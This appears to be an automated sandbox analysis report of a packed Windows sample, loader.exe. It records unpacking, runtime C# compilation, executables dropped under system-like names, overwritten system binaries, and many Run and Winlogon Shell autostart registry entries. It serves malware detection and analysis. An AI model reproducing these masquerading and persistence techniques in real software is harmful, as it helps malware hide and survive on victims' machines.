Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: uxtheme.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: windows.storage.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: wldp.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: profapi.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: cryptsp.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: rsaenh.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: cryptbase.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: sspicli.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: mscoree.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: version.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: wldp.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: profapi.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: sspicli.dll
Source: C:\Recovery\conhost.exe	Section loaded: mscoree.dll
Source: C:\Recovery\conhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\conhost.exe	Section loaded: version.dll
Source: C:\Recovery\conhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\conhost.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\conhost.exe	Section loaded: wldp.dll
Source: C:\Recovery\conhost.exe	Section loaded: profapi.dll
Source: C:\Recovery\conhost.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\conhost.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\conhost.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\conhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: mscoree.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: version.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: wldp.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: profapi.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: loader.exe

Static file information: File size 3314471 > 1048576

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: loader.exe, loader.exe, 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.pdb source: chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.pdb source: chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\loader.exe

Unpacked PE file: 0.2.loader.exe.630000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.rsrc:EW;Unknown_Section7:EW;cheat:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:W;Unknown_Section4:R;Unknown_Section5:R;.rsrc:EW;Unknown_Section7:EW;cheat:EW;

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

File created: C:\ServerWinRuntimeBroker\__tmp_rar_sfx_access_check_5798765

Jump to behavior

Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name:
Source: loader.exe	Static PE information: section name: cheat

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006681CD push esi; ret	0_2_006681D6
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0064F640 push ecx; ret	0_2_0064F653
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0064EB78 push eax; ret	0_2_0064EB96
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DC104 push ecx; mov dword ptr [esp], edx	0_2_006DC109
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DC32C push ecx; mov dword ptr [esp], edx	0_2_006DC331
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C83EA push 006C8418h; ret	0_2_006C8410
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D93A0 push 006D9400h; ret	0_2_006D93F8
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DC448 push ecx; mov dword ptr [esp], edx	0_2_006DC44D
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C845C push 006C8488h; ret	0_2_006C8480
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DA454 push 006DA4A1h; ret	0_2_006DA499
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C8424 push 006C8450h; ret	0_2_006C8448
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D0424 push 006D06D8h; ret	0_2_006D06D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C84F8 push 006C852Ch; ret	0_2_006C8524
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DC48C push ecx; mov dword ptr [esp], edx	0_2_006DC491
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C8494 push 006C84C0h; ret	0_2_006C84B8
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006DE54C push ecx; mov dword ptr [esp], edx	0_2_006DE54D
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D9548 push 006D95A4h; ret	0_2_006D959C
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D8536 push 006D85B5h; ret	0_2_006D85AD
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C65F0 push 006C6641h; ret	0_2_006C6639
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D762C push 006D76A2h; ret	0_2_006D769A
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D06DA push 006D074Bh; ret	0_2_006D0743
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D76A4 push 006D774Ch; ret	0_2_006D7744
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D9684 push ecx; mov dword ptr [esp], ecx	0_2_006D9687
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D774E push 006D779Ch; ret	0_2_006D7794
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C8738 push 006C885Ch; ret	0_2_006C8854
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D085E push 006D088Ch; ret	0_2_006D0884
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D8804 push 006D8830h; ret	0_2_006D8828
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006D98F4 push ecx; mov dword ptr [esp], ecx	0_2_006D98F6
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C68AA push 006C68D8h; ret	0_2_006C68D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C6968 push 006C6994h; ret	0_2_006C698C
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_006C7A48 push ecx; mov dword ptr [esp], eax	0_2_006C7A49

Source: loader.exe	Static PE information: section name: entropy: 7.9966173970846315
Source: loader.exe	Static PE information: section name: entropy: 7.980672042041817
Source: loader.exe	Static PE information: section name: entropy: 7.4680767408434345
Source: loader.exe	Static PE information: section name: entropy: 7.940310001309214
Source: loader.exe	Static PE information: section name: entropy: 7.847280090655699
Source: loader.exe	Static PE information: section name: .rsrc entropy: 7.86163703105012
Source: loader.exe	Static PE information: section name: cheat entropy: 7.983850693923614
Source: chainPorthostCommon.exe.0.dr	Static PE information: section name: .text entropy: 7.553017199848596
Source: tQESKTdysPpsVzUyXTE.exe.5.dr	Static PE information: section name: .text entropy: 7.553017199848596
Source: conhost.exe.5.dr	Static PE information: section name: .text entropy: 7.553017199848596
Source: dasHost.exe.5.dr	Static PE information: section name: .text entropy: 7.553017199848596
Source: csrss.exe.5.dr	Static PE information: section name: .text entropy: 7.553017199848596
Source: RuntimeBroker.exe.5.dr	Static PE information: section name: .text entropy: 7.553017199848596

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

File created: C:\Program Files (x86)\Microsoft\csrss.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Jump to behavior
Source: unknown	Executable created and started: C:\Windows\DiagTrack\Scenarios\dasHost.exe
Source: unknown	Executable created and started: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe			Jump to behavior

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Recovery\conhost.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\ZPhRdffT.log	Jump to dropped file
Source: C:\Users\user\Desktop\loader.exe	File created: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\PHEbWhMM.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Program Files (x86)\Microsoft\csrss.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\SSuSBQke.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\OTzTkTQO.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\pOvooSqL.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\BLdnhdFQ.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\kmFpzVgz.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\JgiUHXBa.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\XCTiUwVw.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\keVXUmFt.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Jump to dropped file

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\kmFpzVgz.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\keVXUmFt.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\SSuSBQke.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\BLdnhdFQ.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File created: C:\Users\user\Desktop\ZPhRdffT.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\PHEbWhMM.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\JgiUHXBa.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\pOvooSqL.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\XCTiUwVw.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File created: C:\Users\user\Desktop\OTzTkTQO.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tQESKTdysPpsVzUyXTE	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run csrss	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dasHost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost	Jump to behavior

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run csrss	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run csrss	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run csrss	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run csrss	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dasHost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dasHost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dasHost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dasHost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run conhost	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tQESKTdysPpsVzUyXTE	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tQESKTdysPpsVzUyXTE	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
